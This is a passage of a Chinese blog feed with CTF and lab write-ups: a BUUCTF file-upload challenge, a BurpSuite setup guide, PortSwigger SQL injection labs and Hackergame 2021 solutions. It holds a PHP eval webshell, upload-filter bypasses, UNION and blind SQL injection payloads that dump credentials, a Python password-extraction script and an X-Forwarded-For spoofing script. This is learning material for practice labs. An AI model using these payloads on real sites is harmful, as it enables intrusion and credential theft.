<content type="html"><![CDATA[<p>报名参加了 SU 战队,交接的师傅给了一道文件包含的题,从中我学到了很多。一般来说,文件包含肯定伴随着文件上传,所以就找了 BUUCTF 上的一道简单题练练手。</p><span id="more"></span><h2 id="前置准备">前置准备</h2><p>进入靶机,发现是要我们上传一个图片。</p><p>随便传了一个图片,发现并不知道文件传到哪里了。</p><p>于是我们用 dirsearch 爆破一下网站目录,发现存在一个 <code>/upload</code> 文件夹,看来就是它了。</p><h2 id="正式开工">正式开工</h2><p>我们需要上传一个包含我们恶意代码的文件,并执行它。</p><p>最最简单的方式是传一个“一句话木马”,它相当于是一个后门,可以直接执行我们想执行的命令,省去反复上传文件的麻烦。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> @<span class="keyword">eval</span>(<span class="variable">$_POST</span>[<span class="string">'shell'</span>]); <span class="meta">?></span></span><br></pre></td></tr></table></figure><p>或是使用 PHP HTML:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><script language="php">@eval($_POST['shell'])</script></span><br></pre></td></tr></table></figure><p>这段代码接受 POST 请求中的 <code>shell</code> 字段,并将其解析为 PHP 代码执行。</p><p>先尝试直接提交文件,发现检测了后缀名。再尝试改后缀名,又发现检测了文件头。观察前端代码,发现存在 <code><form action="upload_file.php" method="post" enctype="multipart/form-data"></code>,看来就是这个 <code>upload_file.php</code> 检测的。考虑加上 <code>GIF89a</code> 这类较为简单的文件头,发现上传成功了。</p><p>但是 gif 文件并不会被解析执行,所以我们需要更改文件后缀名,使用 BurpSuite 修改请求中的 <code>filename</code> 的后缀名,在尝试了 <code>php</code> <code>phtm</code> 之类后,终于在 <code>phtml</code> 这个后缀名上成功了。再使用 AntSword 这款工具,获得了服务器上的所有信息。</p><p>而 flag 就在服务器根目录下,至此,我们成功拿到了 flag。</p><h2 id="一些后话">一些后话</h2><p>在拿到服务器信息后,我翻看了网页的源码,对之前做题过程有了全新的认知。</p><p>首先,它并不是检测文件后缀名,而是检测请求中的文件类型,而这一步是本地发送请求时就确定的。也就是说,我完全可以直接上传 <code>payload.phtml</code>,然后在 BurpSuite 中将请求包中的 <code>Content-Type: application/octet-stream</code> 改为 <code>Content-Type: image/gif</code> 也可实现文件上传。</p><p>其次,它过滤了 <code><?</code>。在文件上传中还有一种绕过方式是短标签绕过,显然这里把这条路堵上了。<s>但是它把 PHP 文件类型全过滤了,不知道这个意义何在</s></p><p>总之,我对请求头有了全新的认知,也算是繁重期末中的一丝娱乐吧。</p>]]></content>
<summary type="html"><p>报名参加了 SU 战队,交接的师傅给了一道文件包含的题,从中我学到了很多。一般来说,文件包含肯定伴随着文件上传,所以就找了 BUUCTF 上的一道简单题练练手。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="文件上传" scheme="https://sxyugao.top/tags/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
</entry>
<entry>
<title>BurpSuite使用指南</title>
<link href="https://sxyugao.top/p/b2d83691.html"/>
<id>https://sxyugao.top/p/b2d83691.html</id>
<published>2021-11-06T02:59:13.000Z</published>
<updated>2022-02-23T04:00:30.581Z</updated>
<content type="html"><![CDATA[<p>BurpSuite 是 PorSwigger 开发的 Web 神器,本文就介绍一些 BurpSuite 的使用方法。</p><p><s>其实算是自用笔记</s></p><span id="more"></span><h2 id="安装">安装</h2><p>官网:<a href="https://portswigger.net/burp%EF%BC%8C%E6%89%BE%E5%88%B0%E7%A4%BE%E5%8C%BA%E7%89%88%E4%B8%8B%E8%BD%BD%E5%AE%89%E8%A3%85%E5%8D%B3%E5%8F%AF%E3%80%82">https://portswigger.net/burp,找到社区版下载安装即可。</a></p><h2 id="配置代理">配置代理</h2><h3 id="配置监视代理">配置监视代理</h3><p>因为抓包需要经过服务器,而 BurpSuite 其实相当于将你本地设备设为一个服务器,默认端口为 8080。</p><p>以 Google Chrome 浏览器为例,安装 SwitchyOmega 这个插件,新建一个名为 BurpSuite 的情景模式,设置代理协议为 HTTP,代理服务器为 127.0.0.1,代理端口为 8080。</p><p>应用选项后,如果想用 BurpSuite 抓包,就将 SwitchyOmega 的情景模式调到 BurpSuite 即可。</p><h3 id="安装证书">安装证书</h3><p>但是我们访问使用了 HTTPS 的网站时会提示不安全,原因是我们没安装 BurpSuite 的证书,被列为不受信任。</p><p>在打开监视代理前提下,访问 <a href="http://burp">http://burp</a>,点击右上角的 CA Certificate 下载证书,双击安装。</p><p>选择证书存储为“受信任的根证书颁发机构”即可。</p><h3 id="配置用户代理">配置用户代理</h3><p>有时候我们需要通过 BurpSuite 的代理后再通过自己的代理,也就是双重代理。</p><p>在 BurpSuite 选项卡中找到 <strong>User options -> Upstream Proxy Servers</strong>,添加即可。</p><p>以我 Clash for Windows 为例,设置 Proxy host 为 127.0.0.1,Proxy port 为 7890。</p><div class="warning"><p>注意别出现端口冲突的情况</p></div><h3 id="更好的代理方案">更好的代理方案</h3><p>按照上面的代理进行设置的话会出现拦截不必要的请求的情况,可以在 BurpSuite 中设置过滤规则,但可以使用 SwitchyOmega 插件获得更好的体验。</p><p>还是以之前的代理为例,新建一个 Proxy 情景模式,设置代理协议为 HTTP,代理服务器为 127.0.0.1,代理端口为 7890。</p><p>新建一个 AutoSwitch 的情景模式,将默认情景模式切换为 Proxy,在切换规则中配置需要 BurpSuite 抓包的域名,设置情景模式为 BurpSuite,然后正常使用即可。</p><h2 id="BurpIntruder">BurpIntruder</h2><p>将请求黏贴到 Positions 选项卡中,选中可变的部分,点击右侧的 “Add §”,会发现选中的地方高亮显示了,在 Payloads 选项卡中可以配置可变部分的取值,配置好后点击右上角的 “Start attack” 即可,通过观察返回数据的长度来判断特殊的情况。</p><p>还可以选择攻击方式,不过我还啥都不会,到时候再写吧。</p><h2 id="To-be-continued…">To be continued…</h2>]]></content>
<summary type="html"><p>BurpSuite 是 PorSwigger 开发的 Web 神器,本文就介绍一些 BurpSuite 的使用方法。</p>
<p><s>其实算是自用笔记</s></p></summary>
<category term="极客" scheme="https://sxyugao.top/categories/%E6%9E%81%E5%AE%A2/"/>
<category term="软件" scheme="https://sxyugao.top/tags/%E8%BD%AF%E4%BB%B6/"/>
</entry>
<entry>
<title>PortSwigger中的SQL注入</title>
<link href="https://sxyugao.top/p/4488e4ae.html"/>
<id>https://sxyugao.top/p/4488e4ae.html</id>
<published>2021-11-04T07:34:46.000Z</published>
<updated>2023-04-08T09:48:03.296Z</updated>
<content type="html"><![CDATA[<p>PortSwigger是著名神器 BurpSuite 的官方网站,也是一个非常好的漏洞训练平台。</p><p><s>同时也是我们这些新生入队的第一份 SQL 作业</s></p><p>下文的编号均依照 SQLi 内的顺序。</p><span id="more"></span><h2 id="Lab-1">Lab-1</h2><p>在开始之前,先讲讲联合查询的原理,UNION 操作符能够合并两个或多个 SELECT 语句的结果,而且 <strong>UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名</strong>,因此后端能正确的处理查询到的信息。</p><p>Lab-1 旨在让我们初步了解联合注入攻击,题目已经告诉我们在 <code>filter?category=</code> 中存在注入漏洞,要求我们得知查询返回的列数。</p><p>通过测试,得知是字符查询,可以通过单引号加注释来闭合。</p><p>官方给的题解是通过依次向 SELECT 后加空类型数量是否报错来判断列数,第一个不报错的查询中的空类型数量即为列数。</p><p>payload:<code>'+UNION+SELECT+NULL,NULL,NULL+--+</code></p><p>但这个方法较为繁琐,可以利用 <code>ORDER BY</code> 来判断列数。</p><p><code>ORDER BY</code> 用于按照列进行对结果集进行排序,因此如果使用的列数大于返回的列数查询就会失败。</p><p>payload:<code>'+ORDER+BY+3+--+</code></p><p>至此,我们成功解决了 Lab-1 的问题。</p><p>P.S. 通过观察正常的回显猜测每列的数据功能,也能猜测出返回的列数。</p><h2 id="Lab-2">Lab-2</h2><p>进入环境后先看最上面的题目要求,题目要求我们检索到一个特定的字符串,这里我的字符串是 <code>HZY60Y</code>。</p><p>首先我们知道<strong>数据库表中的每个列都要求有名称和数据类型</strong>,而我们希望检索到的信息一般为字符串,因此,确定返回值哪一列是字符串类型就至关重要。</p><p>这里我们就只能用 SELECT 一个一个试了,最后试出来第二列是字符串类型。</p><p>payload:<code>'+UNION+SELECT+NULL,'HZY60Y',NULL+--+</code></p><p>P.S. 经测试,第一列和第三列是数字类型,第一列代表商品 id,第三列代表商品价格。</p><h2 id="Lab-3">Lab-3</h2><p>题目要求我们获得别的数据表中的内容,并以管理员身份登录。</p><p>我们先通过之前 Lab-1 和 Lab-2 的方法来得知返回两列数据,并且都是字符串类型。</p><p>由于事先告诉了我们列名和表名,所以直接查询即可。</p><p>构造 payload:<code>'+UNION+SELECT+username,password+FROM+users+--+</code></p><p>成功获得账号密码,登录即可。</p><p>P.S. 在实战中列名和表名不可能直接告诉我们,需要通过别的手段来查询。</p><p>查询表名:<code>SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=DATABASE()</code></p><p>查询列名:<code>SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'</code></p><p>查询数据类型:</p><p><code>SELECT COLUMN_NAME,DATA_TYPE,CHARACTER_MAXIMUM_LENGTH FROM information_schema.columns WHERE TABLE_NAME='要查的数据表'</code></p><div class="danger"><p>但是第 3 种方法我在 Lab-2 时失败了,希望能有大佬评论解释一下 QAQ。</p></div><h2 id="Lab-4">Lab-4</h2><p>类似于 Lab-3,但这次返回的列中只有一列是字符串类型了,因此我们需要把 username 和 password 连接起来。</p><p>不完全统计,SQL 中常用的字符串拼接方法有:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Oracle:'foo'||'bar' 或是 CONCAT('foo','bar')</span><br><span class="line">Microsoft:'foo'+'bar'</span><br><span class="line">PostgreSQL:'foo'||'bar'</span><br><span class="line">MySQL:'foo' 'bar' 或是 CONCAT('foo','bar')</span><br></pre></td></tr></table></figure><p>payload:<code>'+UNION+SELECT+NULL,CONCAT(username,'+:+',password)+FROM+users+--+</code></p><p>官方给的题解是用 <code>||</code> 连接的。</p><p>payload:<code>'+UNION+SELECT+NULL,username||'~'||password+FROM+users--</code></p><h2 id="Lab-5">Lab-5</h2><p>不同的数据库软件,不同的软件版本有不同的语法和注入方式,所以判断数据库类型和版本十分重要。</p><p>像 Oracle 的数据库,查询时必须提供表名,但是我们又不知道有哪些表,这时候我们就可以用到 dual 表了。</p><p>dual 是 Oracle 中的一个实际存在的表,任何用户均可读取,常用在没有目标表的 SELECT 语句块中。</p><p>所以我们可以用 payload:<code>'+UNION+SELECT+NULL,NULL+FROM+dual+--+</code> 来判断返回的列数。</p><p><s>其实和前面一样,看页面就能猜到是两列了</s></p><p>用 Lab-2 中的方法就能知道两列都是字符串。</p><p>SQL 中常用的查询数据库版本的方法有:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Oracle:SELECT banner FROM v$version 或是 SELECT version FROM v$instance</span><br><span class="line">Microsoft:SELECT @@version</span><br><span class="line">PostgreSQL:SELECT version()</span><br><span class="line">MySQL:SELECT @@version</span><br></pre></td></tr></table></figure><p>于是有 payload:<code>'+UNION+SELECT+NULL,banner+FROM+v$version+--+</code></p><p>P.S. 虽然题目让你输出 banner,但事实上只输出版本号也算你通过了,payload:<code>'+UNION+SELECT+NULL,version+FROM+v$instance+--+</code></p><h2 id="Lab-6">Lab-6</h2><p>用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。</p><p>用 Lab-5 中的方法,可构造 payload:<code>'+UNION+SELECT+NULL,@@version+--+</code></p><h2 id="Lab-7">Lab-7</h2><p>同样的,利用 Lab-1 和 Lab-2 中的方法可知,返回的是两列字符串。</p><p>使用 Lab-3 中提到的查询表名的方法,我们构造 payload:<code>'+UNION+SELECT+NULL,TABLE_NAME+FROM+information_schema.tables+--+</code> 来获得所有表名。</p><p>查询 users,以我为例,有一个表名叫 <code>users_hrculq</code>,</p><p>再用 Lab-3 中的提到的查询列名的方法构造 payload:<code>'+UNION+SELECT+NULL,COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_NAME='users_hrculq'+--+</code></p><p>得到列名分别为 <code>username_thhhye</code> 和 <code>password_rrnflm</code>。</p><p>再用 Lab-3 中的方法构造 payload:<code>'+UNION+SELECT+username_thhhye,password_rrnflm+FROM+users_hrculq+--+</code></p><p>即可得到账号密码。</p><h2 id="Lab-8">Lab-8</h2><p>用 Lab-5 中的方法就能知道有两列且都是字符串。</p><p>构造 payload:<code>'+UNION+SELECT+NULL,table_name+FROM+all_tables+--+</code></p><p>与 Lab-7 类似的,以我为例,存在一个名为 <code>USERS_BPUSXY</code> 的表。</p><p>构造 payload:<code>'+UNION+SELECT+NULL,column_name+FROM+all_tab_columns+WHERE+TABLE_NAME='USERS_BPUSXY'+--+</code></p><p>得到列名分别为 <code>USERNAME_RXOWXX</code> 和 <code>PASSWORD_BPQNLT</code>。</p><p>再用 Lab-3 中的方法构造 payload:<code>'+UNION+SELECT+USERNAME_RXOWXX,PASSWORD_BPQNLT+FROM+USERS_BPUSXY+--+</code></p><p>即可得到账号密码。</p><h2 id="Lab-9">Lab-9</h2><p>进入了全新的知识点,有点难度。</p><p>在布尔盲注情形下,服务器只会对你的数据返回 2 种可能的情况。</p><p>在这里就是右上角的 “Welcome back!”。用 BurpSuite 抓包后发现带了 cookie:</p><p><code>Cookie: TrackingId=WOIVqvYbhS4OsGi6; session=ixZOZ9IdT4dL7AozrFuSDJicKD355nD8</code></p><p>不过 document.cookie 是空的,希望能知道实现原理,是后端对每个会话都存了一个 TrackingId 吗?</p><p>推测后端实现类似 <code>SELECT * FROM TrackingIds WHERE TrackingId = '$Cookie.TrackingId'</code></p><p>我们可以尝试在 TrackingId 后面添加一些条件,以我当前状态为例,修改 Cookie 为 <code>TrackingId=WOIVqvYbhS4OsGi6' AND '1'='1</code></p><p>这时候查询语句就会闭合为 <code>SELECT * FROM TrackingIds WHERE TrackingId = 'WOIVqvYbhS4OsGi6' AND '1'='1'</code></p><p>自然是正确返回 “Welcome back!”,再修改条件为 <code>'1'='2</code>,发现回显消失了,判断存在布尔盲注。</p><p>测试一些常见的字符串函数:</p><p>测试子串:<code>' AND SUBSTRING('abc',1,1)='a</code></p><div class="info"><p>如果这个不成功,试试 <code>' AND SUBSTR('abc',1,1)='a</code></p></div><p>测试字符串长度:<code>' AND LENGTH('abc')=3 AND '1'='1</code></p><p>测试通过后我们就可以正式开始了。</p><p>尝试寻找常见的表,比如 users、flag 这种。</p><p>构造 payload:<code>' AND (SELECT 'a' FROM users LIMIT 1)='a</code>,<code>LIMIT 1</code> 来保证返回的必定是 ‘a’,发现存在 users 表。</p><p>由于题目告诉我们用户账号是 administrator,所以构造 payload:<code>' AND (SELECT 'a' FROM users WHERE username='administrator' LIMIT 1)='a</code></p><p>得知在 users 表中存在名为 username 的列。</p><p>再构造 payload:<code>' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a</code></p><p>得知密码长度大于 1,以此类推,最后知道密码长度为 20。</p><p>再利用 SUBSTRING 函数截取每一位来判断密码。</p><p>过程太折磨了,都是类似 <code>' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a</code> 这种。</p><p>使用了 python 脚本:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests, string, sys, warnings</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line">warnings.simplefilter(<span class="string">'ignore'</span>,InsecureRequestWarning)</span><br><span class="line">url = <span class="string">"https://ace01f551f74a718c0b829ea002e0066.web-security-academy.net/"</span></span><br><span class="line">hint = <span class="string">"Welcome back!"</span></span><br><span class="line">password = <span class="string">""</span></span><br><span class="line">pos = <span class="number">1</span></span><br><span class="line">proxies = {</span><br><span class="line"> <span class="string">'http'</span>: <span class="literal">None</span>,</span><br><span class="line"> <span class="string">'https'</span>: <span class="literal">None</span>,</span><br><span class="line">}</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">20</span>):</span><br><span class="line"> <span class="keyword">for</span> ch <span class="keyword">in</span> string.ascii_letters + string.digits:</span><br><span class="line"> sys.stdout.write(<span class="string">f"\r[+] Password: <span class="subst">{password}</span><span class="subst">{ch}</span>"</span>)</span><br><span class="line"> cookies = {</span><br><span class="line"> <span class="string">"session"</span> : <span class="string">"ixZOZ9IdT4dL7AozrFuSDJicKD355nD8"</span>,</span><br><span class="line"> <span class="string">"TrackingId"</span> : <span class="string">f"WOIVqvYbhS4OsGi6' AND (SELECT SUBSTRING(password,<span class="subst">{pos}</span>,1) FROM users WHERE username='administrator')='<span class="subst">{ch}</span>"</span>,</span><br><span class="line"> }</span><br><span class="line"> res = requests.get(url, cookies=cookies, proxies=proxies, verify=<span class="literal">False</span>)</span><br><span class="line"> <span class="keyword">if</span> hint <span class="keyword">in</span> res.text:</span><br><span class="line"> password = password + ch</span><br><span class="line"> pos = pos + <span class="number">1</span></span><br><span class="line">sys.stdout.write(<span class="string">f"\r[+] Password: <span class="subst">{password}</span>"</span>)</span><br></pre></td></tr></table></figure><p>P.S. 实战中不可能直接把表名和库名告诉你,需要撞库。可以写 python 脚本,或是利用 BurpIntruder。</p><h2 id="To-be-continued…">To be continued…</h2>]]></content>
<summary type="html"><p>PortSwigger是著名神器 BurpSuite 的官方网站,也是一个非常好的漏洞训练平台。</p>
<p><s>同时也是我们这些新生入队的第一份 SQL 作业</s></p>
<p>下文的编号均依照 SQLi 内的顺序。</p></summary>
<category term="CTF" scheme="https://sxyugao.top/categories/CTF/"/>
<category term="Web" scheme="https://sxyugao.top/categories/CTF/Web/"/>
<category term="SQLi" scheme="https://sxyugao.top/tags/SQLi/"/>
</entry>
<entry>
<title>Hackergame 2021 Writeup</title>
<link href="https://sxyugao.top/p/ad471c20.html"/>
<id>https://sxyugao.top/p/ad471c20.html</id>
<published>2021-10-30T08:07:34.000Z</published>
<updated>2022-02-23T04:08:07.466Z</updated>
<content type="html"><![CDATA[<p>之前我们战队的副队长在新生群里发了这个比赛,就决定拿它来初步感受一下 CTF 的比赛氛围。</p><p>题目和真正的 CTF 感觉还是有不少差别的,感觉很多题可以归类到 Misc 中去。</p><p>不过这个比赛让我深刻地体会到了 CTF 知识的宽度有多广,不过我啥也不会全靠搜。</p><span id="more"></span><p>听说中科大的 CTF 战队入队标准是进排行榜前 41,还是有点恐怖。排行榜越往上分数断层也越大,也说明了我们与顶尖 CTF 选手之间的水平差距巨大。榜首的 mcfx 之前打 OI 的时候也听说过,是个巨佬。</p><p>Linux 有关的知识至关重要,所以等我新电脑到了就把老电脑换成 Arch,正好可以修订一下我的<a href="https://sxyugao.top/p/22002c08.html">Arch 安装教程</a>。就我个人经历而言,不推荐双系统,因为坑爹的 Win10 更新指不定哪天就把你的引导给覆盖了。</p><p>得益于丰富的库,Python 在某些操作上十分方便,看来得学习一下基础语法了。比赛里好多题有想法,却因为不会写 Python 而放弃了,有点可惜。</p><h2 id="签到">签到</h2><p>真签到题,就如题面所述,“你只需要打开日记,翻到 Hackergame 2021 比赛进行期间的任何一页就能得到 flag!”</p><p>所以你只需要 <code>?page=任意比赛时间进行期间的时间戳</code> 就能拿到 flag。</p><p>随便试的时候记得有时间是比赛暂停的(</p><h2 id="进制十六——参上">进制十六——参上</h2><p>签到题加一,把右边涂掉部分对应的左侧 Hex 编码输入到随便一个 Hex 编辑器即可。</p><h2 id="去吧!追寻自由的电波">去吧!追寻自由的电波</h2><p>挺有意思的一道题,下载下来的音频是经过变速的,得手动放慢时间。</p><p>但是现在的倍速软件过于智能,变速不改变音调,没啥办法,用舍友的 AU 调了一段不是很清晰的出来。</p><p>勉强听出 <code>Golf Hotel November Tango India</code>,怀疑是哪里的单词表,直接 Google。</p><p>发现果然是单词表里的词,但是不按顺序。我还在 Reddit 上看到了<a href="https://www.reddit.com/r/Military/comments/a705y6/my_friend_sent_me_this_text_im_not_fluent_in/">这样一个帖子</a>,顿时会心一笑(主要还是这个帖子内容有趣)。</p><p>原来是用单词的首字母加密的,于是在魔鬼调音下听了半小时,对着单词表勉强对应,得到录音内容:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Foxtrot Lima Alpha Golf Leftbracket Papa Hotel Oscar November Echo Tango India Charlie Bravo Alpha Rightbracket</span><br></pre></td></tr></table></figure><p>注意题面告诉我们都是小写字母,翻译一下就是:<code>flag{phoneticab}</code></p><p>正好也是单词表的名字:<strong>PhoneticA</strong>lpha<strong>b</strong>et</p><h2 id="猫咪问答-Pro-Max">猫咪问答 Pro Max</h2><p>看介绍似乎是 Hackergame 的传统了?考验信息搜集能力(</p><h3 id="第一问">第一问</h3><p>我一开始没想起来 <a href="http://web.archive.org">web.archive.org</a> 这个网站,一直在找搜索引擎的网页快照,完全失败。</p><p>后来我就想,既然 SEC@USTC 和 USTCLUG 合并了,能不能在 USTCLUG 的网站上找到蛛丝马迹呢?</p><p>终于,我找到了<a href="https://lug.ustc.edu.cn/wiki/lug/events/hackergame/">这个</a>,历年比赛的归档里有一个是在 <a href="http://web.archive.org">web.archive.org</a> 上的!</p><p>于是顺藤摸瓜,找到了<a href="https://web.archive.org/web/20181004003308/http://sec.ustc.edu.cn/doku.php/codes">章程</a></p><p>答案是 <code>20150504</code></p><h3 id="第二问">第二问</h3><p>在<a href="https://lug.ustc.edu.cn/wiki/intro/">官方介绍</a>中,是只有四次的,所以我就一直写的 4,但是一直不对。</p><p>然后我就想,这么有影响力的社团今年怎么可能缺席呢,估计是网站没更新,就对了。</p><p>答案是 <code>5</code></p><p><s>垃圾网站不更新,浪费我时间</s></p><h3 id="第三问">第三问</h3><p>我找了个中科大的朋友直接要了一份图片。<s>人脉也算信息搜集的一环,不是吗</s></p><p><img src="https://i.loli.net/2021/10/30/DmceT14tWPONMIE.jpg" alt=""></p><p>答案是 <code>Development Team of Library</code></p><h3 id="第四问">第四问</h3><p>就按着题面去找 SIGBOVIK 2021,这篇论文在<a href="http://sigbovik.org/2021/proceedings.pdf">这个pdf</a>的 216 页。</p><p>这个无厘头的论文证明了任何非零十进制数的二进制开头是 1,<s>真是白花了我那么久时间看英文论文</s>,按照文章逻辑,后面附的数据集都是。</p><p>答案是 <code>13</code></p><p>P.S. SIGBOVIK 好像每年的论文都很无厘头,比如这篇论文的上一篇就是一个有味道的文章(</p><h3 id="第五问">第五问</h3><p>直接按题面关键字搜索,发现<a href="https://datatracker.ietf.org/doc/html/rfc8962">这份文件</a></p><p>大致看了下,好像是吐槽别人不按规范操作的搞笑协议,和上一问一起让我体会到了外国人的幽默感。</p><p>答案在 section-6,是 <code>/dev/null</code></p><p>P.S. 按照 Wiki 的说法,/dev/null(或称空设备)在类Unix系统中是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功),读取它则会立即得到一个EOF。再结合文章内容,也让人会心一笑。</p><h2 id="卖瓜">卖瓜</h2><p>一开始看这题分类是 web,以为是改包这类的,后来发现检测是在后端,那就没啥办法了。</p><p>只能随便试试,发现称 6 斤的瓜溢出后是 0,但是称 9 斤的瓜溢出后是 -2^63,这个数对 3 取模是 2,而我们的目标 20 对 3 取模也是 2,所以我们只需要称两次溢出的 9 斤瓜就能让我们需要的瓜数量被 3 整除。</p><p>但我一开始直接溢出两次发现虽然我是 20/20,但是就是不给我 flag。</p><p>想了很久才意识到直接溢出两次显示的是 -1.844674407371E+19,而题目的补充说明告诉我们,当称的数字变为浮点数而不是整数时,HQ 不会认可最终的称重结果。</p><p>所以溢出一次后加回到正值再溢出就行了。</p><p>最后的输入(前面是选择瓜的种类,后面是数量):</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">9 10000000000000000000</span><br><span class="line">6 1537228672808120301</span><br><span class="line">6 1537228672808120301</span><br><span class="line">9 10000000000000000000</span><br><span class="line">6 2018004</span><br></pre></td></tr></table></figure><h2 id="透明的文件">透明的文件</h2><p>根据题面的描述“劣质终端”以及附件中的内容加上我仅有的一些 Linux 常识,我判断这些是 ANSI 转义字符。</p><p>所以在所有的 <code>[</code> 前加上 <code>\e</code>,然后放到 WSL 中去输出,修改后的文件内容很长,我就不放了。</p><p>结果得到了这样的输出:</p><p><img src="https://i.loli.net/2021/10/30/HS6Crsy3W72txPZ.png" alt=""></p><p>完全看不清啊(#`O′)</p><p>一天后我向一位高中时的学长吐槽时发了截图,What’s up,缩小后的图案居然清晰了!</p><p><img src="https://i.loli.net/2021/10/30/U1MJ74FYPATlxDC.png" alt=""></p><p>根据题目描述,勉强辨认出 <code>flag{abxnniohkalmcowsayfiglet}</code></p><h2 id="旅行照片">旅行照片</h2><p>一开始觉得这道题非常离谱,毫无头绪。</p><p>后来发现了那个独特的蓝色 KFC,好家伙,网红店啊,再根据地理位置推测出方位。</p><p>于是我们得到面朝方向为东南,电话号码是 0335-7168800,隔壁是海豚馆。</p><p>再根据照片倾斜角度推测是向下拍摄的,剩下两个直接枚举就行。</p><p>拍摄时间大致为傍晚,楼层是 14。</p><h2 id="FLAG-助力大红包">FLAG 助力大红包</h2><p>发现有个助力链接,能加提取量。<s>总感觉在内涵某些 APP 呢</s></p><p>活动要求位于同一 /8 网段的用户将会被视为同一个用户,达到助力次数上限后,将无法再帮助好友助力。并且使用前后端方式检查用户的 IP。</p><p>先看一下网页源代码,发现前端检测是借助第三方 js 实现的。然后点一下助力抓个包看看,发现将通过第三方得到的 ip 传给了后端,并且知道后端是 PHP 实现。</p><p>通过搜索可知,可以在 Header 中设置 X-Forwarded-For 来伪造地址。</p><p>于是我们可以直接写脚本了:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">sendRequest</span>(<span class="params">x</span>) {</span><br><span class="line"> <span class="keyword">var</span> ip = x + <span class="string">".0.0.0"</span>;</span><br><span class="line"> <span class="keyword">var</span> xhr = <span class="keyword">new</span> <span class="title class_">XMLHttpRequest</span>();</span><br><span class="line"> xhr.<span class="property">withCredentials</span> = <span class="literal">true</span>;</span><br><span class="line"> xhr.<span class="title function_">open</span>(<span class="string">"POST"</span>, <span class="string">"http://202.38.93.111:10888/invite/8cf96f4d-7a5e-47c5-b20c-683310d8a91b"</span>);</span><br><span class="line"> xhr.<span class="title function_">setRequestHeader</span>(<span class="string">"X-Forwarded-For"</span>, ip);</span><br><span class="line"> xhr.<span class="title function_">send</span>(<span class="string">"ip="</span> + ip);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> <span class="title function_">sleep</span> = (<span class="params">delay</span>) => <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve</span>) =></span> <span class="built_in">setTimeout</span>(resolve, delay))</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (i = <span class="number">0</span>; i <= <span class="number">255</span>; i++) {</span><br><span class="line"> <span class="keyword">await</span> <span class="title function_">sleep</span>(<span class="number">1750</span>);</span><br><span class="line"> <span class="title function_">sendRequest</span>(i);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>十分钟的时间还是有点紧的。</p><h2 id="Amnesia-轻度失忆">Amnesia - 轻度失忆</h2><p>通过搜索可得,ELF 文件中存在不存放在 <code>.data</code> 和 <code>.rodata</code> 中的数据,那就是 <code>.bss</code>,通常是指用来存放程序中未初始化的全局变量和静态变量的一块内存区域。临时变量就放在 <code>.bss</code> 中。</p><p>所以有代码:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="type">char</span> c;</span><br><span class="line"> c = <span class="string">'H'</span>; <span 